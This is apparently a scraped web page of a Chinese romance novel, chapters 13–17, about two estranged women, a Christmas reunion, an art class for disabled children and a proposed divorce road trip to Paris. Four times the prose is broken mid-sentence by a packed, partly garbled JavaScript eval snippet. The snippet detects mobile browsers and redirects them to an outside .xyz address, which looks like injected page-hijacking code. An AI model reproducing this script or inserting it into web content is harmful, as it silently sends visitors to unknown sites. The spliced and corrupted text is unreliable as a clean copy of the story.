;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618123|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是背叛,处理多年旧物则是抛弃。 明明刚从高铁上下来,也不知道她是什么时候去装的酒。 ——邱一燃突然为黎无回的生活习惯感到忧虑,尽管她已经是被视作背叛者的旧人,不应该越界去忧虑这件事。 但苹果配酒是不是太过分了些? “你要来管我吗?”突然之间,黎无回开口了。 邱一燃的思绪被拽出,她看着自己手中差点断掉的苹果皮,有些心悸。 她知道自己不该说,但还是忍不住说, “你不是刚刚才吐过吗?” 黎无回眯着眼看她,不知道是从她脸上观察到什么表情,忽然笑了。 然后晃了晃手中的酒壶, “刚刚那个小孩分给我的石榴汁,还挺甜的。” 邱一燃松了口气。 苹果配石榴汁—— 至少这个配方听起来对胃的攻击性没那么强。 但她还是没完全止住担忧,“你……还是经常喝酒吗?” 她记得分开前黎无回就已经为了她戒酒。因为那段时日她郁郁寡欢。 而黎无回必须让自己足够健康,拥有足够的力量,来成为支撑起她们两个的那个人。坦白来说,那时黎无回也为她改变了许多。 “不开心的时候就会喝。”这是黎无回给她的答案。 那你不开心的次数多吗?——不知为何,邱一燃不敢问出这个问题。 她只能匆匆削完手中的苹果。 递给黎无回时她瞥见对面的圣诞灯扑闪扑闪,让她想起过去很多个温暖的平安夜。 于是她想了想,还是语气拘谨地加了一句, “平安夜快乐。” 尽管她们的关系并不适合这一句话。 黎无回接过她手中的苹果。 手指和她的指尖擦过,冰凉的体温,让她匆匆移开,像是碰到了什么不该碰的。 手帕给了黎无回,她在自己身上找纸来擦手,着急之间她听见旁边传来咬苹果的声音—— 咬得很轻,牙齿碰撞果肉,但似乎只咬了一点点,就停住了。 于是邱一燃莫名滞在原地。 手上的苹果汁黏黏腻腻地往下淌,她突然懊悔自己刚刚没有多挑选,于是转头去问, “不甜吗?” 黎无回没回答她的问题。 只是用自己被冻得发红的手指捧着那冰凉的苹果,顿了半晌,才又轻轻咬了一口,说,“邱一燃,其实你是个很守信用的人。” 邱一燃蜷缩的手指松了开来。 “你以前不是说过吗?” 空气中散发着苹果清香,黎无回低垂着睫毛,然后忽然笑了, “只要我不开心的时候来找你,你都会很乐意削个苹果给我吃。” 邱一燃忽然觉得自己说不出任何话来。 她用指甲掐着自己的掌心,几乎用尽自己最大的力气去让自己维持呼吸。 其实黎无回完全说错了,她是个最不讲信用的人,也是个不值得被原谅的背叛者。 “因为我们是平安夜遇到的。” 黎无回轻轻地说。 之后她很认真地,一口一口地吃完了这个苹果,其实很甜,但她吃完以后仍然觉得自己口中无味。 或许的确,很多东西都改变了,人也好,事也好,都不会按照她的意愿停留在原地。 纵然她如今仍旧对此感到迷茫,不知道改变究竟是从什么时候开始。 “邱一燃。” 黎无回将视线落在远处,飘飘地笑,声音却像是承载着今夜以前的所有重量, “我过得不好。” 14.「黎无回」 白色雪片缓缓飘落下来。邱一燃低着眼,死死盯着自己围巾上的绒绒雪片。 “你怎么会过得不好?” 邱一燃努力让自己不去眨眼睛,因为害怕眼泪会不受控制地落下来。 黎无回却没有再回答了。 邱一燃努力让自己平静下来,再抬头,却发现黎无回好像已经睡着了。 秋千还在晃晃悠悠,而秋千上的女人却已经紧闭双眼,睫毛上、脸上、头发上……都落满绒绒雪片,像一场晃晃悠悠的冬日旧梦。 “你睡着了吗?” 邱一燃问。 却没有再得到答案。 于是那一刻,她突然前倾——僵直的背像失去支撑那般松垮下去,却也终于得以呼出那一口窒闷在胸中的气。 然而就在下一秒。 坐在秋千上的女人忽然往前倾倒。 于是邱一燃慌乱中急忙倾身,伸手却只拽住了黎无回的袖口—— 抓住之后她松了口气。 之后再费力地拽住黎无回,借着秋千绳的力让自己站起来,小心谨慎地走到那边。 结果没走几步。 紧接着,手上传来一股力道。 她一下被拽得很紧。 再反应过来之际,就眼睁睁看见黎无回俯身倒了下来,像个被推倒的保龄球瓶。 那一秒钟她下意识伸出双手去扶—— 一阵甜淡的风裹在呼吸之中,像天罗地网那般扑到鼻尖。 邱一燃无意识地屏住呼吸。 腰际最柔软的位置一下被撞了个满怀,她被撞得后退两步,还没来得及站稳—— 黎无回便径直栽到了她的腰间,将脸埋进她的腰腹处。 在这之后。 黎无回甚至又顺势将双臂攀到她腰间,像是多年习惯再度发生那般自然。 她揽住了她的腰。 邱一燃怔住。 她不记得像这样的场景,已经多久没有发生过。 热的吐息,长的卷发,意识模糊的女人……全都在她触手可及的地方。 邱一燃僵直地向前伸着两只手。 费力地长呼出一口气。 她确认自己是清醒的,这不是梦。可她还是不敢去触碰黎无回的腰背。 可她自己的腰却被女人双手紧紧环住。 她站在原地不敢移动半分,而距离这么近,她才能闻见黎无回呼吸间隐约的酒精味。 不是说是石榴汁吗? 她感到困惑。 余光中去瞥随意倒在地上的酒壶,其中半透明液体缓慢流淌。 原来真的是酒。 原来黎无回又骗了她。 邱一燃觉察到难过。 她低眼,注视着黎无回蓬乱的头顶,有一瞬间她很想伸手去抱住黎无回……可她还是竭力忍住。 这种感觉就像是心脏被挖出一个窟窿,却用某种固体状态的酸性物质去填补。 她不知道是不是所有主动提出分手的人,都会和自己一样心存侥幸,希望被分手的那个可以过得好,以填补自己苍白无力的愧疚。 她不打算为自己争辩什么,既然主动选择分开,就意味着她一定是因为痛苦而胆怯,宁愿选择抛弃。 人造雪不知不觉中停了,邱一燃不记得这个夜晚她到底这样站了多久。 只记得最后,她将醉倒的黎无回扶稳,靠在秋千绳上,然后再弯腰,用假肢支撑着自己,半跪在冰冷地上,一只手扶着黎无回,一只手去收拾满地的苹果皮—— 那个时候她发现,尽管她再小心翼翼,可苹果皮还是被她削得四分五裂。 于是恍惚中她再抬头。 黎无回睡得很安稳,或许是酒精发挥效用,她连眼皮都没颤动一下。印象中自从她截肢,黎无回都许久没睡得像现在这般安稳过。 那时邱一燃喘出一口气。 撑扶着自己的残肢站起来,替黎无回拂了拂肩上的假雪,而后再轻轻地说, “你只是还差一点,就能Move on了。” - 黎无回记得这个晚上。 尽管后来记忆都模糊。 因为她骗邱一燃那是石榴汁,实际上其中还倒了半小瓶她从便利店买来的威士忌。 于是她能记得。 在她狼狈地开诚布公,承认自己过得不好之后。邱一燃久久没说话,而她自己却像是刻意回避,或者说是在强撑中昏睡了过去。 迷迷糊糊间,再有意识时。 她还是靠在那个秋千边,昏昏欲睡。而邱一燃却像是刚刚风尘仆仆地赶回来,身上带着凉的气息。 那时—— 她以为邱一燃会带她上出租车。 再像之前一样迫于责任送她到达之后,再毫不留恋地离开她身边。 但她等了许久,都没发现邱一燃有任何动作。 模糊中她睁眼。 便看到,邱一燃正弯腰,身上、肩上落满假的绒绒雪片,像个很脆弱也随时会融掉的雪人。 但是她能看清—— 邱一燃在很仔细地给她捻走她身上、脸上和肩上的雪片。 最后是她的睫毛上。 她匆匆闭上眼。 便感觉到邱一燃的手指碰了上来,带着刚清洗过的、很淡的、苹果清香。 让她有些痒,却一片一片地,替她捻走睫毛上的假雪片。 等所有雪片都被捻走之后,邱一燃还是没有动静,甚至坐到一旁,静静地等着什么。 等什么?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630372|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黎无回缓缓睁开眼,便看见邱一燃锤腿的动作停下,怔忪间问她,“醒了?” 于是她终于能想起来。 对现在的邱一燃而言—— 她可以替她捻身上的雪花,可以静静守在她身边等她醒来。 但一旦她不醒来,一旦她无法自主行走,那么邱一燃没办法独立带她去任何地方。 尽管从前,从一群颓丧绝望的人中精准地找到黎无回,再将喝得烂醉的她背回家喂她吃解酒药……对邱一燃而言,都是件最简单不过的事。 - 车开到酒店后,黎无回用力掐紧自己的掌心,强迫自己维持清醒。 之后在邱一燃沉默的视线中离开。 邱一燃的车还是走得那样快,似乎对她毫不留情。 等车声终于在背后消失。 黎无回终于松开自己被掐红的掌心,她上到自己所在楼层,头昏脑胀,有一阵意识模糊,再恢复过来时—— 她发现自己蹲在套房门口。 没能进去。 大概是觉得冷,她用大衣从头到脚都裹住自己,萎靡不振地低着头。 蹲在角落里,像朵刚刚长出来的阴郁蘑菇。 “你是在面壁思过吗?”有道稚气的声音传来。 很熟悉的声音。 黎无回模糊间抬头,便看见有个被家长牵着的小孩,正好奇地盯着她。 是那个坐秋千的小孩。 黎无回费力地认出之后,再次低头,摇摇晃晃地盯自己的鞋尖, “我为什么要面壁思过?” 小孩松开家长的手,几步跑过来,背着手围着她绕了一圈,最后和她一块蹲下,面对着墙壁,板着脸说, “因为你骗人。明明你才是黎无回。” 黎无回笑了。 她慢悠悠地抬眼,瞥一眼小孩发皱的脸,点了点头, “我的确是黎无回。” 小孩不高兴了,“骗小孩是要遭报应的。” 黎无回晕头转向,笑吟吟地扯了一把小孩下撇的嘴角, “可是我没骗你啊。” 小孩困惑地眨了眨眼,似乎对醉鬼说的话很费解。 黎无回眯眼想了想,她反复思考,觉得自己还是没有骗人。 于是,这个夜晚,她蹲在套房门口,抱着膝盖,一句一句地重复自己之前说过的话。 ——“黎无回来了。” “她是给黎无回取名字的人,是黎无回这个名字涵盖意义的全部来源。” ——“如果你见过她,肯定会觉得她是你见过最漂亮的人。” ——“我也的确,每天都会见到她。” 黎无回紧紧盯着钱包夹层中那张皱巴巴的合照,十分合理地想。 15.「黎无回」 这是一张徕卡相纸。 拍摄设备是徕卡拍立得,是邱一燃送给黎无回的第一台相机。 这张合照是这台相机拍的第一张相片,拍摄于某个平安夜。 因为那时黎无回还不太会用,于是这张相片拍得乱七八糟。 光源仅仅是背后圣诞树上的小灯,光线很暗,她们头上都戴着滑稽的红色圣诞帽,身上都穿着看起来就很暖和的红毛衣—— 邱一燃那一天大概喝了很多酒,所以脸上泛着微醺的红,像新鲜的覆盆子,眼睛里面还隐隐约约地漾着水波,像是刚刚才被惹哭过。 而始作俑者黎无回,则是在眼睫毛上贴了几颗绿色星星,笑得眼尾都翘起来,还很狡黠很过分地将脸挤在邱一燃脸上,顺势还在邱一燃脸上印了个唇印。 邱一燃脸上画着五角星,黎无回脸上画着圆圈,这是她们打赌输后的惩罚。 她们头上的圣诞帽挤在一起,像两座东倒西歪的小山,两个人都笑得很开心。 ——相片就定格在一刻。 所有残忍的一切都尚未发生。 刚喝了石榴汁兑威士忌的黎无回,费力地撑开眼皮,盯着这张皱巴巴的相片。 但仍旧模糊。 她伸手,去拂了拂相片上的混沌色块,才发现相片竟然是湿的,像一片深不可测的湖泊。 她愣住了。 “这张相片为什么被撕碎了?” 旁边那道稚气的声音突然发问。 黎无回如梦初醒。 才发现说她骗人的小孩还没走,和对方纯黑色的眼珠对上。 黎无回的语气竟然也变得孩子气起来,像个赌气孩童,“因为我讨厌她。” “我能理解,每个人都有讨厌到想去撕碎的人。”小孩很成熟地耸了耸肩,然后又伸短短的手指,碰了碰相片中间的几道痕迹,眨巴着眼睛,问, “但你为什么又要把它拼起来?” 黎无回却不回答了。 她愣愣地盯着手中相片,过去很久,才动作很慢地将相片重新收到钱包里。 之后便摇摇晃晃地站起来。 想要刷卡进房门。 就听见身后的小孩喊了一句, “黎无回!你忘记拿你的东西了!” 于是黎无回费力转头,瞥见被她忘在地上的东西后,再也无法往前走一步。 “哇!” 小孩感叹一声,不知道她的家长究竟是怎么放心让她和陌生人打交道这么久。 但她的家长就是在那边耐心地等候着,然后这个小孩还很好心地拎起地上的苹果给她,很乖巧地给黎无回数了数, “一颗,两颗,三颗……哇,黎无回,你有九颗苹果诶——” 数完之后,小孩仰头,那一刻似乎是被吓到,有些惊慌地问, “不过你怎么眼睛红红的啊?” 黎无回背靠着墙壁,缓缓滑落,坐下来,然后抬起手,掌心死死抵住自己发红的双眼—— 她终于想起自己是为什么这么久蹲在酒店套房门口,都不进去,而是蹲在地上了。 因为她觉得冷,也觉得手上东西太重了。 拎不动。 所以她在等。 等邱一燃来开门,然后来抱她。 - 坦白来讲。 黎无回极其厌恶沉溺过去的自己,但她不知道自己要怎么同这种过去剥离。 这个人就像是在她如同热带般的生命中下过的一场雪,纵然时过境迁,也早该融化,却因为是热带,以至于这场雪的影响层面太广,导致她对这场雪的怀念时效也太长。 幸好这种行为通常只在她醉酒以后出现,她尚且可以接受。 第二天她清醒。 再次看到酒店房间的那一袋苹果。 一共有九颗,不出意外这是昨夜邱一燃给她留下的。 她不知道她对邱一燃的懊恨究竟有多浓烈,能让她在这里坚持多久。 但来到这里。 看见死气沉沉的邱一燃,再次看见邱一燃因为她而断掉的那一条腿后…… 她希望自己可以撑得久一些,至少别让邱一燃在这座陌生城市待到死去那一天。 这天是圣诞节。 黎无回打开手机。 发现自己收到了来自很多品牌方和合作伙伴的祝福,以及冯鱼的质问—— 【你又去找她了???】 三个问号,足以表明冯鱼对她的恨铁不成钢。黎无回全部视而不见,打开梦巴黎打车平台的界面,无数次点开邱一燃的主页。 她的主页很简洁。 自我介绍很明了——五级残疾,具备考取C2驾照的资格,入职以来事故率为0. 黎无回每次看到都会想,邱一燃究竟是以怎样的心情写上这一句话。毕竟记忆中邱一燃因为那条缺失的腿很痛苦。 更多时候她想,邱一燃是怎么来到这里,为什么要留在这里,又为什么明知做这件事会受阻,也会面对更多痛苦,却还是非做不可…… 宿醉后的黎无回头昏脑胀。 她抚了抚太阳穴,拉开窗帘,发现今天竟然阳光普照。 可这个城市并没有因为阳光而显得温暖多少,仍旧那么拥挤,潮湿,阴冷……听说这座城市被称作假巴黎。 但她不喜欢这里。 也不喜欢邱一燃待在这里。 如果邱一燃一定要离她那么远,那么她希望邱一燃能去一个温暖一点的地方。 如果有一天连怨恨都会消失。 如果有一天她也会像其他所有人那样,放弃邱一燃…… 那在这之前有件事她一定要做。 黎无回冷静地想清楚。 再次点开邱一燃的主页,在私信界面,以乘客的身份向这位司机发出一条信息: 【你在哪里?】 原本以为邱一燃不会马上回复,或者会支支吾吾。 但没想到,邱一燃竟然马上回复了—— 是一条地址分享链接。 - 圣诞节,邱一燃早早地醒来,然后去到了自己兼职的残障儿童培训机构。 这是之前卫子柯介绍给她的活。 知道她的情况后,卫子柯总担心她的腿,想给她找个轻松点的活,试了很多她都被拒绝,最后给她找到这里来。 邱一燃原本没什么兴趣。 尤其是对美术班培训老师这个职位,但听卫子柯说这是面向残障儿童的之后,她没多犹豫。毕竟很久以前她为了学习摄影,也学过很长一段时间美术。 一周两节课,两个下午,课时费三十。 本来就带有公益性质,邱一燃没觉得钱少,反而可以让她休息两天不出车,对她也有好处。 来上美术班的残障儿童大多数都能自理,但也干不了重活。所以每次有课,邱一燃都早早地来,将每节课用的不同画具和道具搬过来,再给每个人都布好。 画室里人不多,有个叫徐慢慢的缺指小孩也总是提前来帮忙。 徐慢慢拿着她手机在玩消消乐的时候,邱一燃正在准备给每个孩子的圣诞节水晶球。 然后她就听到徐慢慢说,“老师,有人问你在哪儿?” 邱一燃停了动作,还没来得及问是谁。 徐慢慢慌里慌张间补了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643467|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,“啊呀,我不小心把地址点过去了。” 像是知道自己犯了什么错,急忙将手机送到她眼前, “你看看呢?要不要撤回?” 于是,邱一燃能很清晰地看见—— 在那位一串乱码的乘客问她在哪里之后,她这边立马回了个地址过去。 像是她很迫不及待。 邱一燃有些无奈地抿了抿唇,“算了,不要紧。” 撤回越发显得她欲盖弥彰。 更何况她相信黎无回不会真的过来这里找她,之前见过的几次面,要么就是黎无回晚上醉酒,要么就是她们偶遇。 清醒时黎无回从来不会过来找她。她想这也是因为恨。 “那行!” 徐慢慢乐呵呵地把手机收了回去,又回到了消消乐的界面,玩了一会。 像是突然想起来什么事,又兴冲冲地跑到邱一燃面前, “对了老师,上礼拜张老师不是答应我们说人物写生会有模特过来吗,你看见了不,长什么样……” “没看见。”邱一燃说,上礼拜她是跟张老师提过这事,但没想到到了这群孩子眼中就变成了件值得期待的事,她瞥见徐慢慢兴致勃勃的双眼,笑了起来, “也有可能是张老师自己?” “呸呸呸!” 徐慢慢失望地嘟着嘴,“张老师可和我们说是个漂亮姐姐……” “张老师怎么就不是漂亮姐姐啦?”邱一燃笑得不行,但看着徐慢慢天真的眼,还是好脾气地说,“那我问问张老师吧?” 本来只是个还在打算的问句,结果徐慢慢马上就把手机递了过来。 邱一燃觉得她好笑。 不过想来也是,自己小时候,学校里来个新的实习老师都争着抢着去看。 她拿起手机,滑到微信找到张老师——这是这所机构的管理者。 结果她刚发过去。 张老师就回了过来——【模特说不来了,说生了水痘】 这条消息弹出来。 有几个早到的学生都凑过来看,邱一燃下意识盖住手机,却还是没挡住。 于是画室内此起彼伏地开始抱怨。 邱一燃安慰了她们几句。 等几个人都散开,才抿着唇,去看张老师发来的第二条微信—— 【小孩们期待咱们画室来新面孔很久了,我再去想想办法,看看有没有人有空的,实在不行就我上/委屈】 邱一燃叹了口气。 出画室,拨通了卫子柯的电话,想问问卫子柯有没有熟悉的人可以临时找来当画室模特,她可以把自己这节课的课时费给出去…… 而卫子柯的电话没有拨通。 她踏出门槛,准备再打一遍,结果接到张老师的电话。刚接通,张老师气喘吁吁的声音就传过来, “邱老师我跟你说,今天真是我们运气好,我刚在校门口发愁到哪里再去拉个人过来呢,结果就在校门口遇到了这位,这位……” 话没说完,意识到声音似乎重叠。 邱一燃便抬头,远远瞥见张老师面色激动地领了个人匆匆走过来。 大概是也看见她,张老师高举着手和她打了个招呼,大喊着说, “邱老师,这位女士欣然答应当我们的模特!” 邱一燃怔住。 远处,向她走过来的女人米灰色大衣,墨绿围巾,面容被左侧太阳模糊成色块,影子很长,叠到她脚尖。 她还没看得清是谁。 就听到身后画室内齐齐传出一片“哇”声,然后听见几个学生探头出来,火急火燎地说, “是黎无回!” 16.「黎无回」 圣诞节,这个下午太阳明媚。 黎无回没出现在北京的秀场,也没出现在伦敦的品牌活动,她在茫市一间不起眼的画室内,被很多个好奇或鬼灵灵的孩童围在中间,当着某个水痘失约模特的替补。 她坐老旧的歪腿木椅,垂着眼看瞎涂瞎画的无名画册,自来卷的长发自然垂落,像某种浮游生物在日光中跳跃。 她穿昂贵的米灰色大衣,围昂贵的绿色格纹围巾,围巾用的是大交叉系法。 她身后很亮,像藏着一整轮太阳,足以逼融人的眼球。 邱一燃放下画笔,盖上画册。 匆匆往下瞥几眼—— 便能看到底下那些新奇而激动的目光,大胆却又小心地往黎无回身上瞥着。 甚至还有几个年纪稍微大点的、在这个年纪对公众人物好奇心比较重的,已经没心思完成今天的人物写生,偷偷将手机藏在衣领后面对准了黎无回…… “不要交头接耳。” 在闪光灯即将闪起之前,邱一燃适时提醒,用眼神打断了几人的拍照行为。 几个人意识到她的语气比平时严厉,吐了吐舌头连忙将藏在衣领中的手机收了回去,急匆匆地拿起了画笔。 邱一燃抿唇。 不得不说,比起“存在就引人注目”的黎无回,她倒宁愿今天的写生模特是张老师。 这么想着。 几乎是在下一秒,她就和黎无回的眼神撞上。 空气中有什么东西停了。 一秒,两秒…… 邱一燃率先移开视线。 若无其事地拿起手中画笔,又再次放下。然后就听见黎无回的声音慢悠悠地飘过来, “邱老师可真严格。” 这句话一出,画室里忙碌的落笔声停了下来。有几个学生从画架后探了头,眼珠子好奇地在她们身上转了转。 邱一燃警告性质地一一盯回去。 画笔声重新有节奏地响起。 邱一燃松了口气,这才又重新去看向黎无回,黎无回却没有再看她了,只是垂眼看着手中的画册。 写生已经开始半小时。 黎无回一直维持着坐姿没有动。 作为专业模特。 她没有因为临时邀约就随意地对待这件事,也并没有不尊重这群特殊的孩童。 即便这里不是巴黎,而是间最不起眼的画室。 就连刚刚和邱一燃搭话,连头也没有抬一下。 写生课一直上到了太阳落山。 中途休息过几次,黎无回很配合地和几个认出她来的学生拍了合照,像是有意无意,问了一句, “你们邱老师平时也这样吗?” 邱一燃缩了缩手指。 现在是休息时间,她没办法去管黎无回和学生们的私下沟通。 而被黎无回问到的那几个学生,先是齐刷刷地看了邱一燃一眼,而后又齐刷刷地看黎无回,吐了吐舌头,说, “没有,邱老师平时都和我们挺亲近的。不知道为什么今天这么奇怪……” 声音越说越小。 “声音再小我也听得到。”邱一燃提醒,然后看了眼时间,“时间到了,继续吧。” 学生全都继续回了位。 黎无回眯眼看了看她,笑了声,没再说话。 最后下课—— 徐慢慢帮忙把所有画都收了上来,让邱一燃帮改。 等她回过神来时,黎无回已经接了个电话离开画室。 连句感谢的话都没能让她来得及说。 于是邱一燃便踩着落山的太阳,心思沉沉地抱着一画册的黎无回,看见了张老师在课间发来的微信: 一张黎无回的广告牌图片。 以及张老师的震惊:【这是今天来我们画室的那位?】 邱一燃回复:【你准备给她多少课时费?】 张老师回了个惊恐搓脸的表情过来,然后说—— 【我不知道啊】 【我就是在校门口碰见她】 【觉得这气质这个子,适合抓来当模特,就厚着脸皮问了句能不能帮个忙】 【然后她就问我,我们这里有没有个开出租车来上课的老师,我说有,然后她就说愿意跟我去看看……当时也没有聊课时费的事情啊/哭】 张老师着急忙慌地发了一大串,发到最后一句突然停下来,反反复复地输入,最后蹦出来一条: 【开出租车来上课的老师?哦,我明白了,所以你和她认识?】 这件事还是得解释清楚。 邱一燃并不想黎无回被人误会跟她有联系,回复: 【是搭过几次车的客人,估计是有东西落了,来找我】 回了这句。 她把手机收回去,一抬头,便看见她那辆明黄色的出租车边靠着个人—— 很显然是黎无回。 邱一燃温吞吞地走过去。 原本应该第一时间表达自己的感谢的,但不知怎么她一开口却变成了,“张老师给了你课时费吗?” 黎无回大概没想到她会先问这个,回答得很随意,“她说从你的课时费里扣。” 邱一燃沉默。 她知道张老师肯定不会这样说。 但她不可能真的让黎无回过来无偿劳动。况且她的课时费是一月一结。她也不可能等这个月过去再给黎无回。 邱一燃想到这里叹了口气。 先是将那一画册的黎无回放进后车厢,又小心翼翼地弯着腿,从自己车前找来两张皱巴巴的五十元现金。 如今大部分人都不用现金。这已经是她车里保存现金的最大额度。 她将两张皱巴巴的现金竭力抚平。 接着,便从车门里出来,整整齐齐地去递给黎无回。 出来时,黎无回的目光还停留在她左腿上。 等她走到面前才收回。 看着两张皱巴巴的现金,黎无回大概知道她在想什么,接了,却攥在手里,问,“一百?” “已经很多了。”邱一燃解释,“这里物价低。” “你觉得我是嫌少?”黎无回平静地说。 邱一燃被这一句问得恍惚—— 她知道黎无回当然不是这样的人。 遇到她以前的黎无回穷困潦倒,甚至可能经历过比这更为窘迫的日子。 而如今却不一样了。 黎无回已经在国内打开了知名度,这张脸极为有辨识度,纵然是到茫市这样的落后城市,也能被反复认出。 纵然现在没闹出什么大新闻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656057|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但再这样下去,迟早事情会超出邱一燃能接受的范围。 她可以接受自己上课时费只有三十的课,甚至可以接受自己有一天被不知名的媒体挖出来,哪怕到最后人尽皆知她在腿断以后一蹶不振,于是穷困潦倒到这个地步,被人一阵唏嘘……她也都觉得无所谓。 但她不能接受黎无回到这里和她做同样的事情,听到同样的话。 “邱一燃。” 良久,黎无回将两张五十收了回去,目光却紧紧盯着她,像质问,像逼迫, “你别告诉我你不记得。” 邱一燃回过神来。 黎无回注视着她,不肯放过她脸上的任何表情。 可看到这个人表情始终茫然,黎无回无端被气笑了, “你不记得今天什么日子了?” 邱一燃这才反应过来。 她张了张唇,吐出白气,但却没能发出声音。她绷直下巴不讲话,苍白的脸被太阳晒得几近透明。 她没办法说—— 我当然记得,每个圣诞节都是我们的结婚纪念日。 黎无回盯她。 很久,像是终于对她这个样子感到疲累,也对她尤其失望并且打算放弃她似的,从兜里拿出东西扔给她,冷冷地说, “你的东西忘了拿。” 邱一燃接过。 这是她昨夜留给黎无回的水果刀,被她放在那一袋苹果中。 那是她送给她的,她以为黎无回能明白她的意思。她只是希望以后不管开心不开心,黎无回都可以为自己削个苹果。 如今水果刀被黎无回重新扔还给她,上面还带着女人残余的体温。 邱一燃将刀收回兜里,指腹轻轻摩挲着刀把上残余的体温,几乎是一个字一个字地往外说, “其实,你也完全可以给自己削苹果。” 不管是不是圣诞节。她都希望黎无回随时都能过得开心一点。 “你说得对。” 黎无回没有否认她的说法,很轻很轻地笑了声, “其实我早就应该学着自己削苹果了。你放心,这次回去以后,我不会再到这里来找你。” 邱一燃掐紧掌心的手指卸了力。 “所以邱一燃。” 黎无回重新喊她,声音隐在车水马龙中,听不出是什么语气,“我们离婚吧。” 落日熔金,很多学生从建筑内走出来,密密麻麻地,让人喘不过气。 邱一燃愣怔间抬起头——看见日光从黎无回的轮廓滑过。 “跟我去巴黎。” 像是预料到她会如此反应。于是黎无回很清晰地往下说, “然后在那里跟我离婚。” 说完,黎无回极为心平气和地靠在她出租车旁。 似乎并不知道自己接下来提出的事情,究竟有多惊世骇俗, “就开你这辆车去。” 邱一燃恍惚间以为是自己没听清楚黎无回的话,“你说什么?” 人来人往,她们中间隔着冰冷空气和邱一燃被截断的左腿。 “我说,开这辆车跟我去巴黎,在那里跟我离婚……” 黎无回目光从她腿上掠过,停顿半晌,然后吐字清晰地对她说, “以后,我们就再也别见面了。” 17.「黎无回」 直到如今,国内仍旧不承认同性婚姻——所以换句话来说,当初她们的婚姻在国内根本无效。 而她们从巴黎某个市政厅领来的证明,在某种意义上也不过是张废纸。 有爱,它尚且能被称作证据。没爱,它就什么也不是。 对邱一燃而言—— 当初一股脑涌来的事情太多,像很多个被烧烫过的铁签,从她头骨、肋骨以及身体的各个缝隙中狠狠插进去,这些铁签将麻木的她架起来,将她变成一具冷冰冰的行尸走肉。 那段时间她浑浑噩噩 脑子里几乎只剩一个想法还在受自己控制,那就是尽快离开黎无回。 而如今已经过去三年,邱一燃偶尔想起这件事,也以为黎无回和她一样—— 默认她们开始得不明不白的婚姻,也早就不明不白地结束。 “为什么不说话?”大概是见她许久都没有发出声音,黎无回再次出声, “怕我当初和你结婚时就心思不纯,现在让你去离婚也是为了利用你吗?” “不……不是。”邱一燃恍惚间抽离思绪,她发觉黎无回已经离她很近。 她抿了抿唇, “况且我现在又有什么能让你利用的……” 她这句话说得很轻,也没头没尾。 但黎无回却因此垂眼瞥向她,似乎是有些生气,紧紧盯着她。 女人的呼吸缠着她的呼吸,身后的落日晃得她眼睛疼。 太近了。 邱一燃下意识地往后退一步,将自己的腿靠在车边才舒服一些,又摇了摇头,“我只是没有想到。” “没想到什么?” 没想到这两件事竟然都发生在同一天——提出结婚,提出离婚。 邱一燃茫然间张了张唇。 但没将这句话说出来。事到如今,她已经没必要再提起今天是她们的结婚纪念日。 “放心,我没有这么闲。”看到她往后退,黎无回却轻轻笑了, “而且这次也没有这个必要。” 话落,黎无回回到了原点,靠在车边。她们都背靠着那辆出租车。 虽然没能看清黎无回的神情,邱一燃却知道这必定是黎无回的真心话。 “我只是觉得,有件事你自己也知道……”过了一会,黎无回重新开口,语气听上去完全没有赌气的成分,音量也很轻, “当初是你抛弃了我,我完全有理由怪你。现在不管怎样,你还是欠我一个交代。” 留下这句话。 黎无回没再多说什么。 顺势上了辆路边停下来的出租车,离开了她身边。 邱一燃独自站在原地。 通勤时分的交通尤其喧闹,人群像河水一般流经她。 她站了很久,久到自己左腿都发酸。 才拖着发麻的腿,一步一步地上了车,然后她在车里收到一条新的订单—— 这是个预定订单,时间是一个月后。 起点是茫市,终点是巴黎,平台为她制定的路线很长,途中要经过十一个国家。 她很讶异竟然真的可以下这种订单。于是她这才意识到,在这件光是听上去就觉得匪夷所思的事情上,原来黎无回是认真的。 但她还是直接点了取消。 尽管黎无回将话说得那么绝情,甚至有些咄咄逼人的味道。但她知道,黎无回提出这个要求,已经不是出于怨恨,更不是出于某种余情未了从而想要跟她从头来过的荒诞想法…… 